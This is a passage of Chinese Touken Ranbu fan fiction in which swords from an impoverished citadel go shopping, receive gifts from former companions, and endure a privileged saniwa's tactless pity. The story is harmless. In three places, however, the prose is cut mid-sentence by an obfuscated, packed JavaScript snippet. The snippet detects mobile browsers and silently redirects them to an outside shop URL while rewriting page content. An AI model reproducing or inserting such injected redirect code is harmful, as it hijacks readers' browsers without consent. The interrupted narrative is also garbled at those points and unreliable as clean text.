虽然作为本丸的管理者之一,山姥切国广十分清楚这次行动的必要性,但在可能要面对其他本丸刀剑或审神者的目光,更为重要的是可能遇见本歌恨铁不成钢的目光时,他还是有些抗拒外出的,幸亏兄弟看出了他的窘迫,在其他人要推荐他的时候将这件事情揽了过去。 出发当日清晨,被选中的六振刀剑在本丸庭院集合。没有绚丽的出阵服,除了一文字则宗以外的几刃穿着各自最整洁却也难免显得陈旧的内番服或轻装。 一文字则宗身上依旧是最近一直穿着的内番服,他摇晃着手中的折扇,姿态从容,仿佛只是去赴一场寻常的茶会。 “记住,我们只是众多普通本丸中的一个,完成采购后低调返回。”一文字则宗在拨动时空转换器上的最后一个数字前,最后叮嘱了一遍依旧十分紧张的其他刃,“不必在意其他人的目光,也不必因此妄自菲薄。” 加州清光用力点点头,努力让自己看起来更精神些、更可爱些,但指甲上斑驳的红色依然刺眼;前田藤四郎与平野藤四郎两刃沉默地站在堀川国广身边;次郎太刀拍拍身边的空酒壶叹了口气。 时空转换器的光芒包裹住一行人的身影,熟悉的失重感过后,他们眼前的景象已然发生了变换,万屋的繁华喧嚣如同潮水般扑面而来。 明媚清澈的天光自高高的、仿佛不存在的穹顶流泻而下,均匀地铺满每一寸街道与屋瓦,这是一个晴朗的白日,准确来说应该是万屋永远维持着最适合徜徉的、晴朗的午后时分。 万屋的街道比他们记忆中或想象中的更为宽阔,笔直延伸,望不到尽头,同时又在两侧岔出无数同样热闹的巷弄,人流如织却丝毫不显拥挤。 随处可见的刀剑男士们衣着光鲜,出阵服布料挺括,饰物精致,在“阳光”的照耀下泛着崭新的光泽;寻常内番服也浆洗得干干净净,绣纹清晰甚至有些还缀着当下流行的、带有微小灵力波动的装饰。 更多的刃穿着由各自本丸审神者定制的私服,衣料上乘,剪裁得体,在光线下衣服上精心刺绣的刀纹与审神者的家纹若隐若现,无声诉说着所属本丸的底蕴与宠遇。 街道两侧店铺的橱窗在充沛光线下璀璨夺目。 基础物资堆叠如山,闪耀着金属或木质的本真光泽;精巧的刀装与御守陈列在丝绒衬垫上,灵力波动隐约可感;衣物从实用到华丽,色彩缤纷;食材与灵食散发出诱人香气与空气中浮动的甜点、花香、书卷气以及无处不在的、温暖的灵力气息混杂在一起,织成一张充满诱惑的网。 就在这时,时空转换器的光芒在他们身边闪现、散去,另一队刀剑男士谈笑着出现,他们衣袂生风,灵力充沛与周遭的繁华完美融合,几乎没有多看一文字则宗一行人一眼,便汇入了前方更热闹的人潮。 “阿鲁金说最近资源充足,可以多拨些小判……” “听说最近万物的大福又上新了,主让我们带一些回去……” “……上次不小心把阿鲁金的……” T57本丸的其他几刃在这片繁华之中一时间竟有些恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844043|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚,眼前的景象与他们本丸过往的破败沉寂、现在的艰难复苏形成了过于鲜明的对比,那是一种几乎令人窒息的、属于“正常”世界的勃勃生机。 “走吧。”一文字则宗的声音平稳的响起,打破了短暂的静默,他率先迈开步子,折扇轻摇,姿态闲适地融入人流,不见丝毫窘迫。 一行人随之而动跟在一文字则宗身后继续沿街前行,但几乎就是在同时,加州清光的目光立刻就被一家饰品店的橱窗吸引了,那里摆放着数排精致的指甲油,颜色从艳丽的朱红到低调的珠光,在光照下流转着动人的光泽。 这让加州清光下意识地摸了摸自己指甲上那早已斑驳脱落、显得颇为寒酸的红,眼中闪过一丝渴望,但很快就又黯淡下去,他并没有上报自己这个为数不多的爱好需求,因为本丸的预算绝对不够他购买这种“非必需品”的,对于现在的他们来说,小判更要用在刀刃上。 前田藤四郎和平野藤四郎两兄弟则显得沉稳许多,他们牢记着自己的任务,目光迅速扫过道路两旁的店铺招牌,寻找着清单上列出的那些基础物资的售卖点。 堀川国广跟在这对儿短刀双子身边,同样在观察周围的店铺,同时留意着周围的“行情”,试图在有限的预算内做出最优选择。 次郎太刀的视线则不由自主地飘向飘出酒香的店铺方向,尽管知道希望渺茫,但还是忍不住深深吸了口气,脸上露出一丝怀念又无奈的表情。 唯有领队的一文字则宗步伐不疾不徐,手中折扇轻摇,脸上带着惯有的、令人捉摸不透的微笑,但他的双眼却不着痕迹的扫视这周围的环境、人流乃至某些不易察觉的细节。 这一行刃的衣着在周围光鲜亮丽的同振中显得格外朴素,甚至偶尔有路过的刀剑投来短暂的一瞥,目光中或许有好奇,或许有打量,但大多很快便移开,融入万屋固有的繁华背景音中。 这种被忽视,或者说被“正常”的繁华自然而然地衬托为背景板的感觉,让T57的几刃心中滋味复杂,一方面在心中感谢同振及其他刃的体贴,另一方面一股酸涩的感觉也在心中悄然产生。 按照清单,他们首先需要补充的是最基础的调味料和清洁用品,在找到一家货物相对齐全、价格看起来也较为公道的杂货铺后,前田藤四郎和平野藤四郎便发挥短刀的机动,快速拿起一个个物品,同时仔细对比着不同品牌、分量的价格,用几乎听不到的声音快速计算着。 堀川国光则在一旁协助两刃,并将选中的物品放入随身携带的、同样有些旧的布囊中。 一文字则宗则站在稍远处与面带标准微笑的店老板有一搭没一搭地闲聊,话题从天气到最近的“景趣”流行趋势,仿佛只是个陪家中晚辈前来采购的寻常长辈,姿态放松自然,期望最后结账的时候能够获得一些折扣。 采购的过程十分平静而富有效率,虽然预算紧巴巴的,但在几刃的精打细算下,清单上的必需品基本都购置得差不多了,当他们提着分量不轻的采购袋走出杂货铺时,加州清光忍不住又回头看了一眼那家饰品店的方向。 就在这时,一个熟悉的、软绵绵的声音带着清晰的讶异在他们身后不远处响起:“哦呀,莫非是T57本丸的前田和平野? 21.第二十一章 熟悉的、软绵绵的、带着一丝慵懒笑意和恰到好处的讶异的声音让T57本丸最初的几刃身体皆是一顿,下意识地转过身去,只见他们身后不远处站着五位衣着体面、灵力充沛的刀剑男士。 为首者身穿一袭白色出阵服,奶黄色的短发柔软蓬松,正是源氏重宝髭切,他微微偏头,脸上带着那副惯有的、仿佛刚睡醒般的微笑,但那双蜜糖金的眼眸中却清晰地映出了前田藤四郎与平野藤四郎的身影。 而站在髭切身旁的几位刃虽然没有出声,但也将目光落在了T57本丸这一行衣着朴素、手提大包小包的刀剑身上。 “髭切殿?”前田藤四郎下意识地挺直脊背,平野藤四郎也迅速站到自己兄弟身旁,两振短刀虽然努力维持着镇定,但身上穿的那身稍显陈旧的衣装与手中沉甸甸的、装满基础物资的布袋在这光鲜的万屋街道上仍显得格格不入。 前田藤四郎和平野藤四郎认出了这位曾经在T57本丸短暂停留过的源氏重宝,现在的髭切与那时的他并无太大的区别,但看着他颈间的毛领子便能知道这是一振极化后的刀剑,看来他现在过得很好。 “果然是你们呢。”髭切笑容不变,蜜糖金般的双眼温和地扫过T57本丸一行刃,在掠过他们朴素的衣着和手中的物品时并无丝毫怜悯或鄙夷,只有一丝淡淡的、仿佛忆起旧识般的了然。 “看起来T57本丸现在有审神者大人任职了?那真是太好了。”髭切的语气自然得仿佛在谈论天气,却精准地点出了T57现状最核心的变化。 关心弟弟的一期一振上前一步,目光先是在平野藤四郎和前田藤四郎的身上短暂停留了一瞬,看到他们虽然衣着朴素但精神尚可时眼中掠过一丝欣慰,随即转向领队的一文字则宗,微微颔首:“我是一期一振,粟田口吉光手中锻造的唯一一把太刀。”[1] “看来诸位是来采购的,可还顺利?”一期一振的问候礼貌而周全,并没有因为对方的境况而有丝毫怠慢,却也没有过分热情到让刃感到不适,尽显皇室御物的风度。 山姥切长义的视线则在堀川国光以及明显是领队的一文字则宗身上多停留了片刻,作为前不久才被现在的审神者通过聚乐第活动获得的前任监察官,他自然对自己的同事一文字则宗不陌生,只是微微挑眉,带着一种职业性的观察态度。 烛台切光忠的目光则更多的落在了T57本丸几刃手中的采购袋上,作为被众多审神者大人亲昵的称为“咪酱”、“男妈妈”的他只一眼便大致猜出了他们所购之物的品类与档次。 “如果要采购日用的话,前面转角那家‘杂货七屋’价格更公道些,种类也全;若是需要食材,再往前走两条街的‘米粮丸’最近有新到的稻米,品质不错。” 作为本丸最初开荒的刃,烛台切光忠显然很明白怎么在有限的预算中获得更多的资源,虽然现在本丸的条件好了不少,但他也没忘记这些内容,你看,现在不就派上用处了。 膝丸则是有些紧张地看看兄长,又看看T57的刃,小声补充:“那个……如果有需要帮忙拿东西的话……” 一文字则宗脸上的笑容不变,手中的折扇轻摇,率先回应:“原来是一期殿、髭切殿、膝丸殿、烛台切殿,还有长义殿,有幸与诸位在此相遇。” “我是一文字则宗,目前归属于T57本丸。采购之事多谢烛台切殿指点。”一文字则宗的态度从容,不卑不亢,同时也坦然承认了T57本丸的现状,“主上才接手本丸不久,我等正在逐步整顿,今日正是来添置一些必需品。” “则宗殿过谦了。”一期一振温和的目光再次落到前田藤四郎和平野藤四郎身上,语气柔和了些,“前田,平野,你们在本丸一切可好?” “一期尼,我们很好。”两个小短刀齐声回答,他们并未向自己的兄长诉说任何艰难,只是简单的陈述事实,多年的历练早已让他们学会不在外人面前展露脆弱,尤其是在关心他们的兄长面前。 “本丸的一切进来也都在好转。“前田藤四郎又补充道。 “那就好,若是有什么需要帮忙的地方随时可以来找我。”一期一振像是想起了什么,转身看向身旁一直静静聆听他们聊天的烛台切光忠。 烛台切光忠会意,从随身的精致提袋中取出一个包装素雅却透出淡淡甜香的纸盒递了过来。 “这是今天购买的点心,带回去和兄弟们分着尝尝吧。”一期一振接过,转而递向前田与平野,神态自然得让人看不出来他送出来的这盒点心这是今天新出的、限量版的点心。 一期一振的这份礼物来得十分突然,却体贴得不带丝毫施舍意味,只是兄长对弟弟们再自然不过的关心。 前田和平野对视一眼,均在对方眼中看到了犹豫,接受吗?似乎显得本丸过于窘迫;拒绝吗?又恐拂了对方好意,更显得刻意。 “一期殿的美意,我等便厚颜代本丸诸位粟田口的刀剑谢过了。”一文字则宗适时开口,他朝一期一振微微欠身,又看向前田藤四郎和平野藤四郎,“既是兄长所赠便收下吧,也替本丸的粟田口诸位谢谢一期殿的挂念。” 前田和平野这才双手接过点心盒,郑重道谢,盒子入手微沉,精致的包装下却是实实在在的心意。 髭切像是没察觉到现场任何的微妙氛围,依旧笑眯眯的:“有家主就是不一样了呢,说起来你们现在还没逛完吧?” “正好我们也要去那边看看,不如一起?”髭切提出邀请的语气随意自然,仿佛只是旧识相遇顺路同行。 这个提议让T57本丸的几刃微微一愣,一同行走意味着他们这略显寒酸的采购队伍将与这支光鲜亮丽的队伍并行于万屋街头,对比将更为直接。 加州清光下意识想低头看看自己斑驳的指甲,堀川国广握紧了手中的布袋,次郎太刀也收敛了他那张笑眯眯的表情。 一文字则宗却笑了,扇子“唰”地合拢,轻轻在手心一敲:“既然如此,便恭敬不如从命了,能得几位同行指点是我等的荣幸。” 一文字则宗坦然接受了这份或许带着善意、或许只是随口的邀请,也将其定性为“指点”,既给了对方面子,也维护了己方的尊严。 于是两支队伍并做一路继续前行。 烛台切光忠果然熟门熟路,带着他们拐进一条稍僻静些却店铺林立的巷子,找到了他所说的“杂货七屋”。 这里货物摆放不如主街店铺那般耀眼,但种类确实齐全,价格也实惠不少,前田藤四郎几刃立刻投入了更有效率的补货中,有了明确目标,他们的动作更快了。 一期一振自然地走到弟弟们身边,偶尔低声询问一两句所需物品或是指点某种商品的不同品牌优劣,他的存在并未让短刀们感到压力,反而因那份熟悉的、属于兄长的关切而略微放松。 山姥切长义与一文字则宗两刃并肩而行,沉默许久后山姥切长义最终还是按耐不住,率先打破了这份沉默。 “听髭切殿说T57本丸有一振山姥切国广,伪物君,我是说山姥切国广现在还留在T57本丸?” “山姥切殿是T57的初始刀,一直未曾离开,如今也是本丸不可或缺的支柱。”一文字则宗回答得滴水不漏。 这场采购比一文字则宗等刃预想得还要顺利许多,在烛台切光忠的推荐下,他们以更合理的价格买到质量不错的针线、布料和清洁用品,甚至在一家点心铺的折扣区用极少的钱买到了一些临近保质期但完全不影响食用的普通糕点——这对T57本丸而言已是难得的“奢侈品”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856341|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当T57本丸的采购基本完成,双方准备分离时,一期一振将两个小巧精致的纸包递给前田藤四郎和平野藤四郎:“路过时买的,是新出的豆沙包,带回去和兄弟们分着尝尝。” 一期一振的动作自然,语气温和,不带丝毫的施舍意味,仿佛只是兄长给弟弟带了些零食,但前田藤四郎和平野藤四郎却再回到本丸后才发现那里面装的全是他们在点心铺时看到的点心,只是他们因为昂贵的价格而放弃了购买。 山姥切长义则不知道从哪里拿出来一个用素净棉布包裹的、叠得整齐的长条状物品,递给堀川国广,他的表情有些别扭,语气也硬邦邦的:“这个,替我转交给伪物君。” “不是什么之前的东西,放着也是占地方。”虽然山姥切长义并未明说,但棉布的质地和隐约透出来的纹路都让堀川国广立刻猜到那很可能是一条崭新的、山姥切国广会喜欢的被单。 髭切则是忽然想起来什么,从他那明显就不能放进去东西的袖口中摸出一个红色的小瓷瓶递给加州清光:“这个颜色似乎很适合你呢。” 那是一瓶全新未开封的、色泽鲜艳饱满的红色指甲油,而髭切给出的理由也十分不走心:“之前家主买多了,我随手拿了一瓶,这个东西放在我这里也是浪费。” 加州清光愣住了,看着那瓶在光线下流转着诱人光泽的指甲油,指尖微微颤抖,他张张嘴想拒绝,却说不出话,最终他还是低声道谢,接过那瓶指甲油并将其紧紧握在手心:“多谢髭切殿。” 烛台切光忠笑着递给次郎太刀一小包用油纸包好的东西:“自家本丸试做的酒味点心,虽然比不上真正的美酒,但至少聊胜于无。” 膝丸则有些不好意思地递过来一小包伤药和干净的绷带:“那个……出门在外备着总没错。” 虽然T57本丸如今资源紧张,但基本的伤药还是备着的,可这份心意依旧让人触动。 面对这些不着痕迹却又体贴入微的馈赠,一文字则宗并未推辞,只是代表众刃郑重道谢:“诸位厚意,我等铭记于心。” 分别时,髭切依旧是那副笑眯眯的模样:“那么我们有缘再会了。” 目送着那五位衣着光鲜的刀剑身影汇入人流,T57本丸的几刃站在原地,手中提着满载的采购袋还有那些带着体温的、小小的礼物。 万屋的喧嚣依旧,阳光明媚,但他们心中翻涌的情绪却与来时截然不同,没有预想中的难堪与刺痛反而是一种复杂的、温暖的、略带酸涩的鼓胀感。 那些馈赠并非怜悯,而是来自“曾经的同居者”或“关心弟弟的兄长”的、克制的善意,他们看到了T57的现状,却选择了最尊重的方式来给予帮助。 就在他们收拾好心情,准备启动时空转换器返回时,一个清脆悦耳、带着毫不掩饰的好奇与活力的女声突兀地从旁边传来:“哎呀,你们也是刀剑男士吗?看起来……好像有点辛苦呢?” T57本丸的几刃闻声望去,只见一位穿着精致和服、发髻上簪着闪亮珠花的年轻女性审神者正眨着一双清澈的大眼睛好奇地打量着他们,她身边跟着几振灵力充沛、姿态恭谨的刀剑,显然是她本丸的成员。 这位审神者脸上洋溢着不谙世事的天真笑容,仿佛只是见到了一群衣着特别些的路人,脱口而出了最直观的感受。 但“有点辛苦”这四个字搭配她那一身华服和周围刃鲜亮的衣着像一根细微的针轻轻刺破了刚刚因髭切等人善意而变得柔软些许的氛围。 加州清光握着指甲油瓶的手收紧了一下,短刀双子抿了抿唇,堀川国广垂下眼帘,次郎太刀脸上的慵懒淡去,而一文字则宗脸上的笑容未变,眼神却几不可查地深了一瞬。 新的邂逅以另一种全然不同的方式到来了。 22.第二十二章 年轻的、代号“明光”的那位女性审神者带着一种未经世事的纯真好奇在万屋明亮的“日光”下打量着眼前的这支略显寒酸的队伍。 她的目光扫过T57众刃洗得发白的衣角、手中那分量不轻却都是基础物资的采购袋,最终落在加州清光还没来得及收起的指甲油瓶子上,那双清澈的眼睛眨了眨。 “我是A1124本丸的审神者,你们是哪个本丸的呀?买这么多东西,是你们本丸刚开始建立不久吗?”明光并未察觉因为自己轻飘飘的几句话所带来的微妙波澜,反而继续向前凑近了些,那双清澈见底的眼睛里满是好奇。 “你们本丸买的东西好像都是很基础的日用品呢?”明光歪了歪头,语气里没有恶意,只有最纯粹的不解,“时政不是会给每个本丸定期发放资源补贴吗?” “还有审神者的工资,应该购买些更好的东西吧?实在不行的话,你们审神者大人的父母应该也会给TA零花钱的吧?还是说你们审神者大人的父母没有钱,不能换甲州金?” “啊!这么说的话,是不是你们刚开的荒?难怪你们的资源这么紧张呢,要不要我帮忙?我爸妈在时政工作,可以帮你们申请特殊补贴的!” 明光清脆的声音被她像连珠炮一样吐出,同事带着一种理所当然的热心。 站在明光身侧的小乌丸轻轻叹了口气,那张漂亮的脸上浮现出一丝无奈,却并未出言阻止明光这过于直接的“关心。” 小乌丸只是微微微微垂眸,姿态恭谨而沉默,仿佛早已习惯了自家审神者这种“乐于助人”却时常忽略他人感受的作风。 一文字则宗脸上的笑容依旧温和得体,他上前半步,不着痕迹地将几位同伴稍挡在身后,合拢折扇,微微欠身:“明光大人,幸会。” “老头子我是一文字则宗,这几位是T57本丸的同僚,本丸确实尚在重建整顿期,今日是逢主上大人的命令来采购一些日常必需品。” “T57?”明光眨眨眼睛,努力回忆着,“哦!我想起来了!就是那个……那个临时中转本丸对吧?时政内部的通报文件里提到过,说那里条件挺艰苦的,刀剑男士们之前过得很不容易呢!” 明光的话语不带任何遮掩,直接将T57本丸的“特殊身份”直接摆到了台面上,她这种毫无恶意的直白反而比刻意的同情或鄙夷更让人感到无所适从。 “主,请慎言。”小乌丸终于忍不住低声开口,试图将自家主君从这种不合时宜的“关心”中拉回来,尽管他已经知道这根本就毫无用处。 “诶?我说错什么了吗?”明光不解地回头看看小乌丸,但很快又转回头,脸上重新扬起灿烂的笑容,“不过没关系啦!既然你们现在有审神者了,情况肯定会好起来的!” “对了,你们的审神者大人是谁呀?说不定我认识呢!时政的审神者圈子其实挺小的,我爸妈都在时政总部任职,我认识好多审神者前辈哦!” 一文字则宗的眼神几不可察地深了些许,但语气依旧平稳:“主上大人的名讳,不便透露。至于本丸的情况,正如明光大人所说的那样,正在逐步改善之中,劳您挂心了。” “这样啊。”明光的脸上掠过一丝失望,但很快又被新的热情取代,“那你们现在还有什么困难吗?我可以帮忙哦!我家本丸资源可多了,真的!用不完的!我可以让刀剑们给你们送一些过去!” “或者我让我爸妈在时政那边打个招呼,给你们申请点专项补贴什么的!我听说过的,时政对你们这类‘历史遗留问题本丸’是有特殊照顾政策的!” “专项补贴”四个字像一根细针,轻轻刺入了在场几位T57刀剑的心底,他们当然知道有这类政策存在,文件上白纸黑字写得清清楚楚。 但那些条款,那些理论上应该落到他们手中的资源,在漫长的时光里如同投入深潭的石子连涟漪都未曾真正荡起。 那些资源究竟去了哪里?是在层层审批中被“酌情暂缓”,还是在某个环节被悄然“截流挪用”?他们早已学会不去追问,因为答案往往比没有更让人心寒。 “主。”小乌丸的声音提高了些,这次带着明显的制止意味,他上前一步,几乎要挡在明光与T57几刃之间,“每个本丸都有自己的发展路径和难处,过度介入并非妥当之举。况且,时政的政策落实自有其流程和考量。” 但明光显然没有听出来小乌丸的制止之意,或者说她听出来了,但她从潜意识里就拒绝接受自己认知以外的“规则”,她已经习惯了以自己认为“正确”和“有效”的方式行事。 “可是小乌丸,他们看起来真的很需要帮助呀!”明光微微蹙眉,那神情纯然是不解为何要袖手旁观,“帮助有困难的同伴不是应该的吗?我爸妈常说,时政成立的初衷就是为了守护和互助啊!” 她的逻辑自成一体,建立在一种未被现实打磨过的理想主义之上,这种天真本身并非虚伪,却因其对复杂现实的视而不见而带上了某种近乎残忍的色彩。 “小乌丸你就是太谨慎了!”明光不以为意的摆摆手,目光又转向T57本丸的刀剑们,在面对短刀时语气更加柔软,“看你们买的东西都好简单,点心也只敢买打折的……” “这样吧,今天我请客!万屋新开了一家甜品屋,里面的草莓大福特别好吃,我请你们吃好不好?还有那边那家成衣铺,我看你们的衣服都有些旧了,可以去挑几件新的!不用跟我客气,我小判很多的!” 明光的话语热情洋溢,充满了想要分享“好东西”的急切,却全然没有意识到她这种居高临下的“慷慨”对于自尊心极强的刀剑男士们而言是何等难堪的“善意”。 尽管这并非出自恶意,恰恰相反,她真心实意地认为自己在做好事,在帮助“需要帮助的人”,可正是这种未经世事磨砺、建立在丰厚物质基础之上的天真让她的每一句“帮忙”都变成了无形的刀刃。 “明光大人,您的好意我等万分感激。”一文字则宗的声音依旧平稳,但合拢的折扇已不再摇晃,“然主上教导,无功不受禄,我T57本丸虽简陋,却也有其脊梁,今日采购已毕,不敢再耽搁大人行程,请允许我们就此别过。” 一文字则宗微微躬身,姿态恭敬却带着不容置疑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864584|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏离,直接截断了对方继续“热心”下去的可能,同时他也在话语中再次强调了“主上”的存在和本丸的“脊梁”,既是对明光的回应,也是对己方同伴的提醒与支撑。 “欸,好吧。”明光有些失落地扁扁嘴,但还是努力洋气了一个笑容,“那……如果以后有需要,随时可以来A1124本丸找我哦!我说话算话的!” 小乌丸再次开口:“主,三日月他们还在茶屋等着,我们过去了。” “啊!对哦!”明光一拍手,瞬间就把刚才发生的小插曲抛在脑后,对T57的几刃挥挥手,“那我先走啦,拜拜!” 明光转身离去,脚步轻快,小乌丸带着其他刀剑跟在她的身后,在离开前,明光本丸的几刃朝一文字则宗等刃微微颔首,漂亮的面容上带着一丝复杂的歉意。 直到明光一行人的身影消失在街角,T57本丸几刃才仿佛卸下了无形的重担,不约而同地轻轻舒了口气,空气中那种微妙的、令人窒息的尴尬与刺痛感缓缓散去,取而代之的是一种更加深沉的疲惫与某种难以言喻的清醒。 “我们也该回去了。”一文字则宗率先打破沉默,,“今日的收获颇丰,莫要让本丸的同伴们久等。” 回程的路上,T57本丸一行刃的气氛比来时更加沉默。 明光那番“何不食肉糜”的言论就像一面镜子,清晰地照出T57本丸与那些“正常”本丸之间天堑般的差距。[1] 那不是恶意,却比恶意更让人感到无力,因为明光并非在嘲讽,而是真心实意地困惑:为什么你们不直接去拿“应有”的补贴?为什么你们要过得这么“辛苦”? 明光生活在阳光普照的温室,从未见过阴影下挣扎求生的模样,自然也无法理解有些“应有”的东西对另一些人而言是需要拼尽全力甚至游走边缘才能触及的奢望。 时空转换器前,一文字则宗最后看了一眼万屋繁华依旧的街道,那里灯火璀璨,人流如织,是属于“另一个世界”的热闹,他平静地启动装置,光芒将他们包裹。 与此同时,万屋的另一条街道上。 身披白色羽织的胧夜突然停下脚步,微微侧头,兜帽下的眉头轻蹙,她抬起手,纤细的指尖在空气中虚虚一握,仿佛在捕捉什么无形之物。 “错觉吗?”胧夜低声自语,声音轻的几乎都听不见,就在刚才她感觉到一丝极其微弱却又让她感到十分熟悉的灵力波动,但那种感觉转瞬即逝,快得让她几乎以为是自己因为过于思念养母而产生的幻觉。 “主?”跟在胧夜半步的一振打刀低声询问,他的面容在她施加的符咒作用下显得模糊不清,只有一双眼睛关切的看着她。 “不,没什么,可能是我感觉错了。”胧夜摇摇头,指尖的灵力缓缓散去。 母亲怎么可能会出现在这里、这样一个管理不善的组织里,更何况母亲都已经经受过那么多的苦难,她就应该作为神明的珍宝被继续珍藏!我的母亲啊,我希望你的未来永远光明而顺遂。 “回去吧。”胧夜不再多想,转身走向预定的店铺,“我们要买的东西还很多。” 23.第二十三章 时空转换器的散发的光芒在T57本丸略显空旷的庭院中消散,外出采购的一文字则宗一行刃重新踏上本丸的土地。 早已听见时空转换器发出的动静等候在此的山姥切国广和药研藤四郎立刻迎了上来,两刃动作一致的快速扫过归来的众人,在确认全员无恙后才将他们的目光落在一文字则宗等刃手中那些分量不轻的采购袋以及那些多出来的、包装精致或不那么精致的小包裹上。 “一切顺利。”一文字则宗率先开口,脸上带着一贯的从容笑意,“清单上的物品都已购齐,小判还略有盈余。另外,在采购途中我们还遇到几位故人,承蒙他们的关照,我们获得了一些馈赠。” 虽然一文字则宗并没有详细说明“故人”究竟是谁,也没有描述“馈赠”的具体情形,当山姥切国广和药研藤四郎依旧能从他那轻描淡写的语气中听出了一些不同寻常。 更不要说山姥切国广和药研藤四郎两刃能够清晰的看到同伴们脸上的那种混合着疲惫、释然以及某种难以用语言详细表明的、复杂的表情。 加州清光第一个举起手,他手中那瓶崭新的红色指甲油在夕阳的照耀下折射出诱人的光泽:“看!我们本丸之前的髭切殿给的!颜色超正的!” 加州清光可以忽略了这瓶指甲油的来历细节,只强调它颜色的“正”,仿佛这样就能冲淡他在接受馈赠时那一瞬间的窘迫与感激交织的复杂心绪,当然,那里面还有对曾经的同伴现在过得很好的喜悦。 但山姥切国广和药研藤四郎两刃的注意点却与加州清光最开始预想的不同,他们只注意到了加州清光指甲上那斑驳的旧色已经被他小心的清理掉,似乎随时准备涂上新的色彩。 堀川国广也将山姥切长义交给他的那个棉布包裹递给山姥切国广:“兄弟,这是长义殿托我转交给你的,虽然他说这个东西放在他那里也是占地方。” 山姥切国广愣了一下,兜帽下的眉头微蹙,迟疑的接过包裹。 山姥切国广最开始感受到的是棉布的柔软,而在他打开这个包裹后,一条白色的、质地厚实柔软的披风映入他的眼帘,披风的边缘还绣着简洁的云纹,正是他会喜欢的那种,实用而不花哨,能够将他整个人完整的包裹起来的款式。 山姥切国广沉默地看着这条披风,手指无意识地摩挲着布料,兜帽压得更低了,半晌才闷闷地“嗯”了一声,将包裹仔细收好。 前田藤四郎和平野藤四郎也将一期一振给的点心盒和他口中的“豆沙包”拿出来:“是和我们本丸之前的髭切殿现在在一个本丸的一期尼给的,说让我们分给兄弟们。” 药研藤四郎推了推自己带着的眼镜,接过点心盒后打开看了一眼,里面是制作精巧的各式和果子,明显不是便宜货色,那没打开的、那份据说装着的是豆沙包的包装纸里面装的是什么也很显而易见了。 “记得谢谢一期尼。”药研藤四郎在沉默片刻后点点头,他没有问“为什么一期尼会给这么多”“是不是在同情我们”,只是平静地接受了这份来自兄长的关怀。 “我们有的。”平野藤四郎轻声补充道。 次郎太刀晃晃自己手中拿着的、烛台切光忠给的酒味点心和膝丸给的上药绷带,虽然这次依然没买酒,本丸也没有酒能喝,但他的脸上还是露出了笑容:“至少有点儿酒味儿。” 所有来自“外人”的馈赠都被清点、接纳,并且都被他们找到了合理的、不伤自尊的定位——是旧识的随手心意,是兄长的关怀分享,是同僚的顺手人情。 当那些来自旧识的、承载着善意与回忆的馈赠被妥善收纳后,加州清光几刃相视一眼,带着几分不好意思又隐隐有些期待地从各自怀中或袖中掏出了另一些东西——他们用余下的小判偷偷为留守本丸的同伴们准备的小礼物。 这些礼物要员比髭切等刃所赠的要简单得多,甚至看起来还有些寒酸,但却因那份“特意为你挑选”的心意而显得格外珍贵。 __ 夜风裹挟着万叶樱复苏后日益浓郁的灵力拂过庭院,将白日里万屋的喧嚣与浮华吹散,天守阁内,烛火在精致的铜制灯台里安静燃烧,将源朝曦静坐的身影投在素雅的屏风上。 宵雾盘踞在源朝曦的身侧,冰冷的鳞片在烛光下流转着幽微的紫金色泽。 源朝曦闭着双眼,但归来队伍的疲惫、得到意外馈赠的复杂心绪、同伴们迎接时的关切、分发那些小小礼物时的低声交谈与克制笑容……这一切的一切都如涓涓细流般正在通过她覆盖在本丸的灵识汇入她的感知。 她能够“看”到加州清光正在部屋里借着窗边最后的天光,小心翼翼地将那瓶崭新的红色指甲油涂在指甲上,动作专注得仿佛在进行某种仪式,涂完后对着光看了又看,嘴角不自觉地上扬。 她能够“听”到前田藤四郎和平野藤四郎第一次将一期一振给的点心盒打开的声音,他们现在正与药研藤四郎一起将那些精致的和果子小心地分为若干份。 药研藤四郎推了推眼镜,冷静地计算着数量:“今日出阵归来的几位多分半块,剩下的明日再分。” 粟田口的小短刀们也没有刃抱怨药研藤四郎的分配不均或是其他的什么,他们每一个刃只有基于现状的务实与对每一份心意的珍惜。 那包“豆沙包”也被前田藤四郎打开,里面果然是更昂贵的、他和平野藤四郎在橱窗前短暂驻足过的糕点,小短刀默默的将它们重新包好,放入本丸公用的点心匣,留待合适的时刻。 她还能“感知”到山姥切国广正独自坐在回廊的阴影处,那条崭新的白披风正摊在他的膝上,他伸出手,指尖极轻地触碰着边缘的云纹,兜帽下的侧脸线条在夜色中显得柔和了些许。 山姥切国广并没有立刻披上那条新披风,只是久久的看着,然后将它仔细叠好,放在身旁。 不远处的堀川国广正在擦拭着和泉守兼定的本体,偶尔会抬头看 